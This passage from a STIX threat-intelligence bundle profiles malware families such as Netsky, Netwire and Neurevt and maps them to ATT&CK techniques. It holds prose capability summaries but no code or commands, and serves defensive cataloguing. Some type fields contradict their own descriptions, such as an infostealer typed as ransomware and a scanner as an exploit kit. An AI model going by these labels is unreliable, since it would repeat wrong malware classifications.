      "id": "relationship--eec68f0f-080e-52d2-ae49-80a35c097400",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1894bf4d-b5f7-5a57-9e4e-3bd44df09170",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netshrink exhibits technique T1055 (Process Injection (Execution from memory))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8bbf9fa-12c6-5f15-a8d9-afdb83f896ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1894bf4d-b5f7-5a57-9e4e-3bd44df09170",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netshrink exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ef63d94f-4274-5b8e-8d8c-e0bb3a7011d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netsky",
      "description": "Worm:Win32/Netsky is a historically monumental, prolific mass-mailing computer worm that emerged in February 2004, causing tens of millions of dollars in global network congestion and computer disruptions. Authored by 17-year-old German high school student Sven Jaschan (who simultaneously authored the devastating Sasser worm), Netsky spread across the internet with unprecedented speed. The worm harvests email addresses from cached files across victim hard drives (.html, .eml, .txt, .doc) and utilizes its own built-in SMTP engine to send deceptive emails with forged sender addresses and enticing subject lines (such as 'Re: Details', 'Your password', or 'Delivery status'). Netsky also spreads across local network shares and peer-to-peer (P2P) file-sharing directories (such as Kazaa and eMule) using deceptive executable filenames. Notably, Jaschan programmed Netsky to wage a digital turf war against competing malware families Bagle and Mydoom, actively seeking out and removing Bagle and Mydoom registry entries and files from infected computers. In May 2004, German police in Lower Saxony arrested Jaschan following an international tip facilitated by Microsoft's Anti-Virus Reward Program ($250,000 bounty), leading to Jaschan's conviction for computer sabotage. (Observed samples in benchmark: 105)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Netsky",
        "Worm.Win32.Netsky",
        "W32/Netsky",
        "Win32.Netsky",
        "Moodown"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netsky",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netsky"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71a158bd-06df-5eec-a6b0-2d12d746fadb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef63d94f-4274-5b8e-8d8c-e0bb3a7011d9",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netsky exhibits technique T1566.002 (Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b887b837-be03-58ed-adbf-6347c5ffbb88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef63d94f-4274-5b8e-8d8c-e0bb3a7011d9",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netsky exhibits technique T1114.001 (Email Collection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fee808f-c4df-522e-8c5e-6dc08bf2dda1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef63d94f-4274-5b8e-8d8c-e0bb3a7011d9",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netsky exhibits technique T1021.002 (SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a39a94a7-e6e0-56d7-b295-9050638a7871",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef63d94f-4274-5b8e-8d8c-e0bb3a7011d9",
      "target_ref": "attack-pattern--5f1029ec-51c9-5060-9e14-dda97d706dfd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netsky exhibits technique T1071.003 (Mail Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a226969-1561-57e8-ba51-3705f6b0b5af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef63d94f-4274-5b8e-8d8c-e0bb3a7011d9",
      "target_ref": "attack-pattern--3fdb36f7-3f3b-517d-a867-ed94c17be68a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netsky exhibits technique T1560.001 (Archive via Utility)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d087fd2c-f18f-5091-a9df-dcd7b6adb9b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef63d94f-4274-5b8e-8d8c-e0bb3a7011d9",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netsky exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e88658f2-c6ed-5ab0-b6a4-ac742a92925e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netsphere",
      "description": "NetSphere (cataloged across security software as Backdoor:Win32/NetSphere, Trojan.Win32.NetSphere, and Backdoor.NetSphere) is a classic early 2000s remote administration tool and backdoor trojan developed in C++ and Borland Delphi. Designed for covert network control, NetSphere operates over TCP port 30103 (and configurable ports 30100-30102), providing remote operators with interactive remote desktop capture, keystroke interception, file system browsing, process termination, and remote reboot and shutdown commands. NetSphere was commonly distributed through peer-to-peer file sharing networks, IRC chat transfers, and trojanized freeware utility bundles.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/NetSphere",
        "Trojan.Win32.NetSphere",
        "Backdoor.NetSphere",
        "Win32/NetSphere.RAT",
        "NetSphere.Server"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netsphere",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netsphere"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--baad6d4a-7c7a-571b-a2fe-b46df3c605ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e88658f2-c6ed-5ab0-b6a4-ac742a92925e",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netsphere exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad3c71d5-dce9-5a17-a7dc-24a8fa36b028",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e88658f2-c6ed-5ab0-b6a4-ac742a92925e",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netsphere exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54798238-9c26-50c6-bfb7-52f09ef3c07a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e88658f2-c6ed-5ab0-b6a4-ac742a92925e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netsphere exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a4761e9-1ec1-55c7-80b7-c21aea62a045",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e88658f2-c6ed-5ab0-b6a4-ac742a92925e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netsphere exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71aa5210-17f5-5795-ba35-272630838248",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e88658f2-c6ed-5ab0-b6a4-ac742a92925e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netsphere exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--43de17a2-aba3-5764-9927-42f82f4a9bb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netstream",
      "description": "NetStream (tracked across security telemetry as Backdoor:Win32/NetStream, Trojan:Win32/NetStream, and Backdoor.NetStream) is a stealthy Windows remote access trojan and network proxy agent. Delivered through phishing emails and malicious network scanning exploitation, NetStream installs a background communication agent capable of opening covert listening ports or establishing outbound reverse TCP/TLS sessions to attacker command-and-control servers. NetStream enables remote operators to execute arbitrary command-line instructions via cmd.exe, spawn interactive shells, capture desktop screenshots, and pivot internal network traffic through the compromised host as a network proxy relay. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/NetStream",
        "Trojan:Win32/NetStream",
        "Win32/NetStream",
        "Backdoor.NetStream",
        "NetStream RAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netstream",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netstream"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7a2d6337-7cf0-55f1-9e71-5d30b3c38418",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netthief",
      "description": "TrojanSpy:Win32/Netthief is a specialized InfoStealer whose primary objective is to locate, extract, and exfiltrate sensitive data, credentials, and network configuration details from the infected Windows system (`T1005`). Unlike generic banking trojans, Netthief often targets corporate environments, seeking out FTP credentials, VPN profiles, and proprietary documents to facilitate deeper network breaches.<br><br><b>Understanding Netthief (Corporate InfoStealer)</b><br>To an end-user, the infection is entirely invisible. Their computer will continue to function normally. However, for a business, Netthief represents a critical data breach. The stolen credentials and network layouts are often sold to Initial Access Brokers (IABs) or ransomware gangs, who use them to launch devastating, enterprise-wide attacks.<br><br><b>Execution and Extraction Mechanics</b><br>Netthief is typically distributed via spearphishing campaigns targeting specific employees. Upon execution, it operates rapidly. It scans the Windows Registry and file system for saved passwords stored by web browsers (Chrome, Edge, Firefox), FTP clients (FileZilla, WinSCP), and email clients (Outlook) (`T1552.001`). It also searches for specific document types (e.g., `.docx`, `.pdf`, `.rdp`) in standard user directories. Once aggregated, this data is compressed, encrypted, and exfiltrated to the attacker's C2 server (`T1041`), often before the user even realizes the phishing document was malicious.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is intellectual property theft and the total compromise of the user's digital identity, paving the way for lateral movement. Host-based IoCs include EDR alerts for rapid, anomalous file access across multiple directories by an untrusted executable, and the execution of suspicious binaries from `%Temp%` or `%Downloads%`. Network IoCs include a brief burst of outbound HTTP POST or FTP traffic (exfiltrating the ZIP file containing the stolen data) immediately following the execution of the initial payload. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netthief",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netthief"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b74fc21-125c-5422-9e8c-942c37a7a322",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a2d6337-7cf0-55f1-9e71-5d30b3c38418",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netthief exhibits technique T1552.001 (Credentials In Files (Stealing saved passwords from browsers and FTP clients))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43fb25f0-09e3-5106-a264-0711d60d8fb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a2d6337-7cf0-55f1-9e71-5d30b3c38418",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netthief exhibits technique T1005 (Data from Local System (Scanning for and aggregating sensitive documents))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82ea6b58-20e0-59df-802e-baaa63c8e4d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a2d6337-7cf0-55f1-9e71-5d30b3c38418",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netthief exhibits technique T1041 (Exfiltration Over C2 Channel (Sending the stolen data archive to the attacker's server))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--378c90b1-487f-5c09-a3e5-a967c724c3e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nettool",
      "description": "NetTool (cataloged across security intelligence feeds under signatures including HackTool:Win32/NetTool, Tool:Win32/NetTool, and Trojan.NetTool) is an offensive network scanning, port probing, and lateral movement hacking utility active since 2010. Frequently weaponized by intrusion operators, penetration testers, and cybercriminal syndicates during post-exploitation phases, NetTool automates high-speed IP range discovery, TCP/UDP port mapping, and SMB/NetBIOS banner grabbing across internal enterprise subnets. Once an internal network foothold is established, threat actors deploy NetTool to identify vulnerable unpatched hosts, detect exposed administrative services (such as RDP, Telnet, and SSH), and assist in credential-spraying attacks to facilitate lateral movement across the enterprise perimeter. (Observed samples in benchmark: 23)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/NetTool",
        "Tool:Win32/NetTool",
        "Trojan:Win32/NetTool",
        "Win32/NetTool",
        "NetTool Scanner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nettool",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nettool"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b0fc1d7b-d172-5a18-a0d8-8e7f4c56fbc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netwire",
      "description": "NetWire (cataloged across threat research as NetWire RAT, NetWire.RC, Backdoor:Win32/Netwire, and Trojan.Netwire) is a cross-platform remote access trojan (RAT) developed in C/C++ that was commercialized under the guise of legitimate remote administration by World Wired Labs (operated by Peter Salinger) from 2012 until its global law enforcement takedown by the FBI, Eurojust, and Australian Federal Police in March 2023. Unlike many contemporary RATs built on managed runtimes like .NET, NetWire was authored natively in C/C++, allowing it to execute with high performance, minimal memory footprints, and low detection footprints across Windows, Linux, and macOS platforms. Primarily distributed through targeted spear-phishing campaigns featuring malicious Microsoft Office documents exploiting legacy formula editor vulnerabilities (CVE-2017-11882) or archived ISO/LNK attachments, NetWire grants operators comprehensive command-and-control capabilities over compromised workstations. Its functionality includes low-level kernel keystroke logging via SetWindowsHookEx, spooling keystrokes into encrypted disk buffers, and mass credential harvesting targeting web browsers (Chrome, Edge, Firefox, Brave), email clients (Microsoft Outlook, Thunderbird), FTP clients (FileZilla, WinSCP), and cryptocurrency desktop wallets. The implant establishes reverse TCP/TLS sessions to operator listeners, incorporating socks4/5 reverse proxy tunneling, live desktop screen streaming via custom VNC implementations, webcam and microphone capture, and remote file management. NetWire was heavily co-opted by state-sponsored cyber espionage groups and Business Email Compromise (BEC) threat syndicates targeting financial services, manufacturing, healthcare, and maritime supply chains. In August 2020, CISA issued Advisory AA20-258A highlighting NetWire's role in commercial phishing infrastructure. (Observed samples in benchmark: 55)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "RAT.NetWire",
        "Backdoor.NetWire",
        "Win32/NetWire",
        "NetWire.RC",
        "Trojan:Win32/Netwire",
        "World Wired Labs NetWire"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netwire",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netwire"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA20-258A"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--de2d46d9-1e3b-5ee8-8978-d267feb00e09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netwiredrc",
      "description": "Trojan:Win32/Netwire (cataloged as NetWiredRC, or simply NetWire) is an infamous cross-platform Remote Access Trojan (RAT) and infostealer that was commercially marketed by WorldWiredLabs before being dismantled in March 2023 in an international law enforcement operation led by the FBI, US Attorney's Office (Central District of California), and Europol. Operating stealthily across Windows, Linux, and macOS platforms, NetWire provides adversaries with complete remote desktop surveillance, multi-browser password and cookie scraping, automated offline and online keystroke logging, reverse command shells, and file transfer capabilities. Extensively deployed by initial access brokers, business email compromise (BEC) operators, and state-sponsored cyber espionage syndicates, NetWire was distributed through spear-phishing campaigns weaponized with malicious document exploits (such as Equation Editor flaws CVE-2017-11882 and CVE-2018-0802). (Observed samples in benchmark: 72)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "NetWire",
        "NetWire RAT",
        "NetWiredRC",
        "Trojan:Win32/Netwire",
        "Backdoor.Netwire",
        "WorldWiredLabs NetWire",
        "Trojan.NetWire"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netwiredrc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netwiredrc"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA20-205A"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7731da2-c433-52a7-b800-8b57110bf893",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2d46d9-1e3b-5ee8-8978-d267feb00e09",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netwiredrc exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d11d51a-b652-5077-8f21-6cb11bbfd2c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2d46d9-1e3b-5ee8-8978-d267feb00e09",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netwiredrc exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0c41ac1-c3bd-5776-a6f2-32fea112e20c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2d46d9-1e3b-5ee8-8978-d267feb00e09",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netwiredrc exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc577e83-5d50-5604-95b0-0ca71311ef91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2d46d9-1e3b-5ee8-8978-d267feb00e09",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netwiredrc exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a60153bd-f199-5913-a7b0-2a5d5b19d782",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2d46d9-1e3b-5ee8-8978-d267feb00e09",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netwiredrc exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9dd25ec-b9e7-5f1d-bacc-4f3bea8d888e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2d46d9-1e3b-5ee8-8978-d267feb00e09",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netwiredrc exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95c89d86-8567-5fca-91cb-ff3118d60abf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2d46d9-1e3b-5ee8-8978-d267feb00e09",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netwiredrc exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f1d9c1d-a264-5021-b402-cc7e37a90ce7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2d46d9-1e3b-5ee8-8978-d267feb00e09",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netwiredrc exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d3c8194d-eeca-5ffb-bd12-337af389a6ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Neurevt",
      "description": "Neurevt (widely recognized across the cybersecurity intelligence ecosystem under the alias Beta Bot, as well as signatures including Trojan:Win32/Neurevt, Trojan.Win32.Neurevt, and Win32/Neurevt) is an infamous modular banking trojan, botnet, and initial access loader first surfacing in 2013. Renowned for its aggressive defense evasion and anti-antivirus capabilities, Neurevt actively hooks native Windows APIs to block antimalware software processes, disable Windows Defender, and prevent browser access to security websites. The trojan employs RC4-encrypted HTTP communications for C2 check-ins, performs man-in-the-browser form grabbing to steal online banking and payment card credentials, and logs keystrokes. In addition, Neurevt features modular distributed denial-of-service (DDoS) flood attack capabilities, USB drive worm replication, and a versatile secondary payload loader exploited by multiple cybercrime syndicates across North America and Europe. (Observed samples in benchmark: 68)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Neurevt",
        "Beta Bot",
        "Trojan.Win32.Neurevt",
        "Win32/Neurevt",
        "BetaBot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Neurevt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/neurevt"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86d4d022-e51b-57a8-99d8-2440550c3929",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3c8194d-eeca-5ffb-bd12-337af389a6ca",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neurevt exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76a88f8c-ceba-589a-a147-6315fd1b31eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3c8194d-eeca-5ffb-bd12-337af389a6ca",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neurevt exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ff7d6da-7c46-52a5-99e2-520b26ec971c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3c8194d-eeca-5ffb-bd12-337af389a6ca",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neurevt exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7efc3a04-ae25-5fac-a787-d6d386fadc4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3c8194d-eeca-5ffb-bd12-337af389a6ca",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neurevt exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
